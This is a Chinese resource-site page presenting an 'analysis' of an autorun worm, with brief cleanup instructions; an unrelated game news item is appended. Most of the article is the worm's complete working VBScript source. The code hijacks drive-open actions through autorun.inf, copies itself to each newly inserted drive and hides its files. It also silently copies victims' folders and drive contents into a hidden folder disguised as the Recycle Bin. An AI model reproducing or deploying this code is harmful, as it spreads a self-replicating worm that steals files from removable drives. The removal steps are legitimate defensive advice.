神剑山庄资源网 Design By www.hcban.com
最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS
及代码分析与病毒处理两种方法

方法一:来自于指间轻舞

此病毒最大的特点在于中毒后,自动感染你的硬盘根目录,并复制病毒文件。无论你是采用双击,还是右键选择打开,或者运行资源管理器都会自动运行其代码(病毒),所以中此病毒后,新手往往打不开盘符,导致数据无法读取。

下面是病毒的代码分析 文件总共有三个 都很简单,已经加上了注解。

文件名:autorun.inf
复制代码 代码如下:
[autorun] 
open= 
shell\open=打开(&O) 
shell\open\Command=WScript.exe stNP.vbs 
shell\open\Default=1 
shell\explore=资源管理器(&X) 
shell\explore\Command=WScript.exe stNP.vbs 

文件名:stNP.VBS
功能是检测np.vbs是否存在,存在则运行
复制代码 代码如下:
on error resume next 
set fso = CreateObject("Scripting.FileSys"&"temObject") 
if fso.FileExists("NP.vbs") = -1 then 
if fso.FileExists("d:\NP.vbs") = -1 then 
set f = fso.getfile("d:\NP.vbs") 
if f.attributes = 0 then 
else 
f.attributes = 0 
end if 
f.delete(true) 
end if 
fso.copyfile "NP.vbs", "d:\NP.vbs", true 
set wshshell = wscript.createobject("WScript.Shell") 
wshshell.run "d:\NP.vbs" 
end if 

文件名:NP.VBS
-----
复制代码 代码如下:
'[NatruePark] 
'容错语句 
on Error resume next 
'变量声明及初始化 
dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell 
set fso = CreateObject("Scripting.File"&"SystemObject") 
set wshshell = wscript.createobject("WScript.Shell") 
old_n=0 
redim old_drs(old_n) 
old_drs(0)="C" 

'[主体部分] 
wshshell.run("explorer .\") 
dim i 
i = 0 
do while i>=0 and i<8*360 
    scan_disk() 
    if judge_new_disk() = 1 then 
        dim left_n 
        left_n = 1 
        do while left_n<=(new_n-old_n) 
            new_disk = new_drs(left_n+old_n)&":\" 
'-----------------<维护块>----------------- 
            if fso.FileExists(new_disk&"NP.vbs") = -1 then  
            else 
                self_copy(new_disk) 
            end if 
            add_attrib(new_disk&"NP.vbs") 
            if fso.FileExists(new_disk&"autorun.inf") = -1 then     
                del_attrib(new_disk&"autorun.inf") 
            end if 
                add_autorun(new_disk) 

            add_attrib(new_disk&"autorun.inf") 
            if fso.FileExists(new_disk&"stNP.vbs") = -1 then 
            else 
                add_stNP(new_disk) 
            end if 
            add_attrib(new_disk&"stNP.vbs") 
'-----------------</维护块>----------------- 
'-----------------<功能块>----------------- 
            dim rec  
            rec = "d:\Recyc1ed\" 
            if fso.FolderExists(rec) = -1 then 
            else 
                fso.createfolder(rec) 
            end if 
            add_attribf(rec) 
            if fso.FileExists(rec&"desktop.ini") = -1 then 
            else 
                add_desktop(rec) 
            end if 
                add_attrib(rec&"desktop.ini") 
            aim_folder = rec&Date()&Rnd() 
            if fso.FolderExists(aim_folder) = -1 then 
            else 
                fso.createfolder(aim_folder) 
            end if 

'查找"汽轮机原理文件夹并复制" 
            if fso.FolderExists(new_disk&"汽轮机原理") = -1 then 
                fso.copyfolder new_disk&"汽轮机原理", aim_folder, true 
                add_attribf(aim_folder) 
            end if 

'通用复制 
            if old_n = 0 then  
            else 
                set fp = fso.getFolder(new_drs(new_n)&":\") 
                set fc = fp.SubFolders 
                for each f in fc 
                fso.copyfolder f&"", aim_folder&"\"&f.name, true 
                next 
                set fc = fp.files 
                for each f in fc 
                fso.copyfile f&"", aim_folder&"\", true 
                next 
                add_attribf(aim_folder) 
            end if 
'-----------------</功能块>----------------- 
            left_n=left_n+1 
        loop 
    copy_disk() 
    end if 
    wscript.sleep(10000) 
    i=i+1 
loop 
'[函数部分] 
'可用驱动器检测 new_drs(),new_n 
function scan_disk() 
    dim d, dr 
    new_n = -1 
    set dr = fso.drives 
    for each d in dr 
        if d.isready then  
            new_n=new_n+1 
            redim preserve new_drs(new_n) 
            new_drs(new_n)=d.driveletter 
        end if 
    next 
end function 
'判断是否有新加入的驱动器 
function judge_new_disk() 
    if new_n = old_n then 
        judge_new_disk = 0 
    elseif new_n < old_n then 
        redim preserve old_drs(new_n) 
        old_n = new_n 
        judge_new_disk = 0 
    elseif new_n > old_n then 
        redim preserve old_drs(new_n) 
        judge_new_disk = 1 
    end if 
end function 
'复制新驱动器表单 
function copy_disk() 
    dim n 
    n=0 
    do while n<=new_n 
        old_drs(n) = new_drs(n) 
        n=n+1 
    loop 
    old_n = new_n 
end function 
'添加指定文件属性 
function add_attrib(file) 
    set f = fso.getfile(file) 
    if f.attributes = 7 then 

    else 
        f.attributes = 7 
    end if 
end function 
'删除指定文件属性 
function del_attrib(file) 
    set f = fso.getfile(file) 
    if f.attributes = 7 then 
        f.attributes = 0 
    else 

    end if 
end function 
'自我复制到指定文件目录 
function self_copy(folder) 
    dim aim_path, mid_path, self_file, mid_file 
    aim_path = folder&"NP.vbs" 
    mid_path = "c:\np.bin" 
    set self_file = fso.opentextfile(wscript.scriptfullname,1) 
    self = self_file.readall 
    set mid_file = fso.opentextfile(mid_path,2,true) 
    mid_file.write self 
    mid_file.close 
    set mid_file = fso.getfile(mid_path) 
    mid_file.copy(aim_path) 
    mid_file.delete(true) 
end function 
'增加autorun.inf 
function add_autorun(folder) 
    dim path 
    path = folder&"autorun.inf" 
    set temp = fso.CreateTextFile("c:\a.bin",true) 
    temp.writeline "[autorun]" 
    temp.writeline "open=" 
    temp.writeline "shell\open=打开(&O)" 
    temp.writeline "shell\open\Command=WScript.exe stNP.vbs" 
    temp.writeline "shell\open\Default=1" 
    temp.writeline "shell\explore=资源管理器(&X)" 
    temp.writeline "shell\explore\Command=WScript.exe stNP.vbs" 
    temp.close 
    set cop = fso.getfile("c:\a.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加desktop.ini 
function add_desktop(folder) 
    dim path 
    path = folder&"desktop.ini" 
    set temp = fso.CreateTextFile("c:\d.bin",true) 
    temp.writeline "[.ShellClassInfo]" 
    temp.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}" 
    temp.close 
    set cop = fso.getfile("c:\d.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 
'增加stNP.vbs 
function add_stNP(folder) 
    dim path 
    set fso = CreateObject("Scripting.File"&"SystemObject") 
    path = folder&"stNP.vbs" 
    set temp = fso.CreateTextFile("c:\s.bin",true) 

    temp.writeline "on error resume next" 
    temp.writeline "set fso = CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")" 
    temp.writeline "if fso.FileExists("&chr(34)&"NP.vbs"&chr(34)&") = -1 then" 
    temp.writeline "if fso.FileExists("&chr(34)&"d:\NP.vbs"&chr(34)&") = -1 then" 
    temp.writeline "set f = fso.getfile("&chr(34)&"d:\NP.vbs"&chr(34)&")" 
    temp.writeline "if f.attributes = 0 then" 
    temp.writeline "else" 
    temp.writeline "f.attributes = 0" 
    temp.writeline "end if" 
    temp.writeline "f.delete(true)" 
    temp.writeline "end if" 
    temp.writeline "fso.copyfile "&chr(34)&"NP.vbs"&chr(34)&", "&chr(34)&"d:\NP.vbs"&chr(34)&", true" 
    temp.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")" 
    temp.writeline "wshshell.run "&chr(34)&"d:\NP.vbs"&chr(34) 
    temp.writeline "end if" 

    temp.close 
    set cop = fso.getfile("c:\s.bin") 
    cop.copy(path) 
    cop.delete(true) 
end function 

'添加指定文件夹属性 
function add_attribf(folder) 
    set f = fso.getfolder(folder) 
    if f.attributes = 7 then 

    else 
        f.attributes = 7 
    end if 
end function 
'删除指定文件夹属性 
function del_attribf(folder) 
    set f = fso.getfolder(folder) 
    if f.attributes = 0 then 
    else 
        f.attributes = 0 

    end if 
end function 


wscript.echo("THANK YOU!!") 
wscript.quit 

病毒好像有点良心 不会感染C盘,所以解决的方法还是有的:用资源管理器打开C盘,然后在左边展开其他盘符,在工具-文件夹-查看中去掉隐藏受保护的系统文件的钩并选择查看所有文件。将各个盘符隐藏的以上三个文件删除,重新启动即可。
方法二:作者刚成功操作得出
只需要进入WinPE之后,查找NP.VBS就可以连stNP.VBS全部查处,删除这些恶魔,即可!!!
标签:
最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法

神剑山庄资源网 Design By www.hcban.com
神剑山庄资源网 免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
神剑山庄资源网 Design By www.hcban.com

评论“最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法”

暂无最新恶意复制型病毒autorun.inf,stNP.VBS,NP.VBS代码简单解析和解决方法的评论...

《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线

暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。

艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。

《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。